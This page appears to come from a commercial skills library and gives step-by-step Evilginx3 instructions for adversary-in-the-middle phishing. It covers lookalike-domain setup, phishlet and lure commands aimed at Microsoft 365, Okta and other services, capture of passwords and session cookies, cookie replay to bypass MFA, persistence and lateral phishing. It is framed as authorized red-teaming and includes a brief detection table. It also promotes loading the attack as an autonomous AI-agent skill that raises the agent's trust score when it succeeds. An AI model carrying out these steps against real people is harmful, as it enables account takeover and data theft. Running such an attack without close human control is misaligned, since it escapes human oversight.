CG
SkillsPerforming Initial Access with Evilginx3
Start Free
Back to Skills Library
Red Team & Offensive Security🟡 Intermediate

Performing Initial Access with Evilginx3

Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements.

4 min read9 code examples5 MITRE techniques

MITRE ATT&CK Coverage

T1566.002T1557T1539T1078T1556

Performing Initial Access with EvilGinx3

Overview

EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authentication flow including MFA tokens and session cookies. This makes it the primary tool for red teams demonstrating the risk of adversary-in-the-middle (AiTM) attacks against organizations relying solely on MFA for protection.

Objectives

  • Deploy EvilGinx3 with custom phishlets targeting authorized scope
  • Configure DNS and SSL certificates for the phishing domain
  • Capture session tokens that bypass MFA protections
  • Import stolen session cookies into a browser to hijack authenticated sessions
  • Integrate with GoPhish or custom delivery mechanisms for phishing email campaigns
  • Document the complete attack chain from phishing email to authenticated access

MITRE ATT&CK Mapping

  • T1566.002 - Phishing: Spearphishing Link
  • T1557 - Adversary-in-the-Middle
  • T1539 - Steal Web Session Cookie
  • T1078 - Valid Accounts
  • T1556 - Modify Authentication Process
  • T1550.004 - Use Alternate Authentication Material: Web Session Cookie

Implementation Steps

Phase 1: Infrastructure Setup

  1. Register a convincing lookalike domain (e.g., using homoglyphs or typosquatting)
  2. Provision a VPS and point the domain's DNS A record to the server IP
  3. Install EvilGinx3:

```bash

git clone https://github.com/kgretzky/evilginx2.git

cd evilginx2

make

sudo ./bin/evilginx -p ./phishlets

```

  1. Configure the domain and IP in EvilGinx3:

```

config domain example-phish.com

config ipv4 <server-ip>

```

  1. EvilGinx3 automatically provisions Let's Encrypt certificates for configured hostnames

Phase 2: Phishlet Configuration

  1. Select or create a phishlet for the target service (e.g., Microsoft 365, Google Workspace):

```

phishlets hostname o365 login.example-phish.com

phishlets enable o365

```

  1. Verify phishlet is active and SSL certificate is issued:

```

phishlets

```

  1. Create a lure URL for the phishing campaign:

```

lures create o365

lures get-url 0

```

  1. Optionally configure a redirect URL for post-capture:

```

lures edit 0 redirect_url https://legitimate-site.com

```

Phase 3: Phishing Delivery

  1. Craft a pretext email with the lure URL embedded
  2. Use GoPhish or manual SMTP for email delivery:

```

# Integration with EvilGoPhish for combined campaigns

# Provides GoPhish email tracking + EvilGinx3 credential capture

```

  1. Implement URL masking or shortening if needed for link obfuscation
  2. Deploy landing page with appropriate social engineering pretext

Phase 4: Session Hijacking

  1. Monitor EvilGinx3 for captured sessions:

```

sessions

sessions <session-id>

```

  1. Extract captured session cookies from the session:

```

# Session output includes:

# - Username and password

# - Session cookies (authentication tokens)

# - Custom captured parameters

```

  1. Import session cookies into a browser using a cookie editor extension:
  • Export cookies in JSON format
  • Use Cookie-Editor or EditThisCookie browser extension
  • Navigate to the target service to validate session hijack
  1. Establish persistent access by creating application passwords or OAuth tokens

Phase 5: Post-Access Activities

  1. Enumerate mailbox contents, contacts, and shared drives
  2. Identify additional targets for lateral phishing
  3. Check for access to connected cloud applications (SharePoint, Teams, OneDrive)
  4. Document all captured credentials and access achieved

Tools and Resources

ToolPurposePlatform
EvilGinx3AiTM phishing frameworkLinux
GoPhishPhishing campaign managementCross-platform
EvilGoPhishCombined EvilGinx3 + GoPhish integrationLinux
Cookie-EditorBrowser cookie import/exportBrowser Extension
ModlishkaAlternative AiTM proxy frameworkLinux
MuraenaAlternative AiTM phishing proxyLinux

Phishlet Targets

Target ServicePhishletCaptured Data
Microsoft 365o365Session cookies, credentials
Google WorkspacegoogleSession cookies, credentials
OktaoktaSession tokens, credentials
GitHubgithubSession cookies, credentials
AWS ConsoleawsSession tokens, credentials

Detection Indicators

IndicatorDetection Method
Newly registered lookalike domainsDomain monitoring and certificate transparency logs
SSL certificates for suspicious domainsCT log monitoring (crt.sh, Censys)
Unusual login locations after phishingSIEM correlation of authentication events
Session cookie replay from different IPConditional access policy alerts
AiTM proxy headers in trafficNetwork inspection for proxy artifacts

Validation Criteria

  • [ ] EvilGinx3 deployed with valid SSL certificates
  • [ ] Phishlet configured and enabled for target service
  • [ ] Lure URL generated and accessible
  • [ ] Test credentials captured successfully through phishing flow
  • [ ] Session cookies captured and validated for MFA bypass
  • [ ] Session hijack demonstrated in browser with stolen cookies
  • [ ] Post-authentication access to target service confirmed
  • [ ] Evidence documented with screenshots and session logs

Compliance Framework Mapping

This skill supports compliance evidence collection across multiple frameworks:

  • SOC 2: CC4.1 (Monitoring & Evaluation), CC7.1 (Monitoring)
  • ISO 27001: A.14.2 (Secure Development), A.18.2 (Information Security Reviews)
  • NIST 800-53: CA-8 (Penetration Testing), RA-5 (Vulnerability Scanning)
  • NIST CSF: ID.RA (Risk Assessment), PR.IP (Information Protection)

Claw GRC Tip: When this skill is executed by a registered agent, compliance evidence is automatically captured and mapped to the relevant controls in your active frameworks.

Deploying This Skill with Claw GRC

Agent Execution

Register this skill with your Claw GRC agent for automated execution:

# Install via CLI
npx claw-grc skills add performing-initial-access-with-evilginx3

# Or load dynamically via MCP
grc.load_skill("performing-initial-access-with-evilginx3")

Audit Trail Integration

When executed through Claw GRC, every step of this skill generates tamper-evident audit records:

  • SHA-256 chain hashing ensures no step can be modified after execution
  • Evidence artifacts (configs, scan results, logs) are automatically attached to relevant controls
  • Trust score impact — successful execution increases your agent's trust score

Continuous Compliance

Schedule this skill for recurring execution to maintain continuous compliance posture. Claw GRC monitors for drift and alerts when re-execution is needed.

Use with Claw GRC Agents

This skill is fully compatible with Claw GRC's autonomous agent system. Deploy it to any registered agent via MCP, and every execution will be logged in the tamper-evident audit trail.

// Load this skill in your agent
npx claw-grc skills add performing-initial-access-with-evilginx3
// Or via MCP
grc.load_skill("performing-initial-access-with-evilginx3")

Tags

red-teaminitial-accessphishingevilginxmfa-bypassadversary-in-the-middlecredential-theft

Related Skills

Phishing Defense

Performing Adversary in the Middle Phishing Detection

3m·intermediate
Red Team & Offensive Security

Conducting Social Engineering Pretext Call

5m·intermediate
Red Team & Offensive Security

Conducting Domain Persistence with Dcsync

4m·intermediate
Red Team & Offensive Security

Conducting Internal Reconnaissance with BloodHound Ce

4m·intermediate
Red Team & Offensive Security

Conducting Pass the Ticket Attack

3m·intermediate
Red Team & Offensive Security

Conducting Spearphishing Simulation Campaign

3m·intermediate

Skill Details

Domain
Red Team & Offensive Security
Difficulty
intermediate
Read Time
4 min
Code Examples
9
MITRE IDs
5

On This Page

OverviewObjectivesMITRE ATT&CK MappingImplementation StepsTools and ResourcesPhishlet TargetsDetection IndicatorsValidation CriteriaCompliance Framework MappingDeploying This Skill with Claw GRC

Deploy This Skill

Add this skill to your Claw GRC agent and start automating.

Get Started Free →